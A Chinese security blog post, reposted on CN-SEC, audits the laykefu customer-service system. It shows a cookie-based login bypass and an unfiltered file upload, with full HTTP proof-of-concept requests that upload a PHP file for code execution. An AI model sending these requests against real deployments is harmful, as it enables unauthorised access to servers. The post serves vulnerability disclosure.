某客服系统代码审计

admin 2024年1月25日14:27:02评论31 views字数 2778阅读9分15秒阅读模式

写在前面

该项目最后更新于2022年6月,是一套比较小众的客服系统,系统基于ThinkPHP5.0.24框架,漏洞原理很简单,大佬轻喷。

系统简介

ThinkPHP5.0.24+Gatewayworker搭建的web客服系统。

开发语言:PHP开发框架:ThinkPHP5.0.24项目地址:https://github.com/shmilylbelva/laykefu空间测绘:后台回复“laykefu”或“20240118”获取

某客服系统代码审计

某客服系统代码审计

代码分析

身份认证绕过

漏洞代码如下:

class Base extends Controller{    public function _initialize(){        if(empty(cookie('user_name'))){            $this->redirect(url('login/index'));        }        $this->assign([            'version' => config('version')        ]);    }}

很容易看出来,当Cookie中的”user_name“不为空时即可绕过登录。验证漏洞,我们使用浏览器插件“ModHeader - Modify HTTP headers”,设置Cookie的值为“user_name=1”,访问后台地址可直接进入后台。某客服系统代码审计

任意文件上传

漏洞代码如下:

public function upAvatar(){    if(request()->isAjax()) {        $file = request()->file('file');        if (!empty($file)) {            // 移动到框架应用根目录/public/uploads/ 目录下            $info = $file->move(ROOT_PATH . 'public' . DS . 'uploads');            if ($info) {                $src = '/uploads' . '/' . date('Ymd') . '/' . $info->getFilename();                return json(['code' => 0, 'data' => ['src' => $src], 'msg' => 'ok']);            } else {                // 上传失败获取错误信息                return json(['code' => -1, 'data' => '', 'msg' => $file->getError()]);            }        }    }}

没有对上传的文件做任何过滤,漏洞在后台,但是因为上面的身份认证绕过漏洞,从而上传危险文件(php文件)至服务器。

构造请求包上传:

POST /admin/users/upavatar.html HTTP/1.1Host: xxx.xxx.xxxContent-Length: 194Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kROrigin: http://xxx.xxx.xxxReferer: http://xxx.xxx.xxx/admin/users/edituser/id/1.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: user_name=1; user_id=3sec-ch-ua-platform: "Windows"sec-ch-ua: "Edge";v="107", "Chromium";v="107", "Not=A?Brand";v="24"sec-ch-ua-mobile: ?0Connection: close------WebKitFormBoundary3OCVBiwBVsNuB2kRContent-Disposition: form-data; name="file"; filename="1.php"Content-Type: image/png<?php phpinfo();?>------WebKitFormBoundary3OCVBiwBVsNuB2kR--

成功上传文件至目标服务器,演示图片如下:

某客服系统代码审计

然后访问上传的文件,成功RCE

某客服系统代码审计

漏洞总结

身份认证绕过

http://xxx.xxx.xxx/adminHEADER Cookie: user_name=1

任意文件上传

POST /admin/users/upavatar.html HTTP/1.1Host: xxx.xxx.xxxContent-Length: 194Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kROrigin: http://xxx.xxx.xxxReferer: http://xxx.xxx.xxx/admin/users/edituser/id/1.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: user_name=1; user_id=3sec-ch-ua-platform: "Windows"sec-ch-ua: "Edge";v="107", "Chromium";v="107", "Not=A?Brand";v="24"sec-ch-ua-mobile: ?0Connection: close------WebKitFormBoundary3OCVBiwBVsNuB2kRContent-Disposition: form-data; name="file"; filename="1.php"Content-Type: image/png<?php phpinfo();?>------WebKitFormBoundary3OCVBiwBVsNuB2kR--

某客服系统代码审计

原文始发于微信公众号(不够安全):某客服系统代码审计

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月25日14:27:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某客服系统代码审计http://cn-sec.com/archives/2405208.html

发表评论

匿名网友 填写信息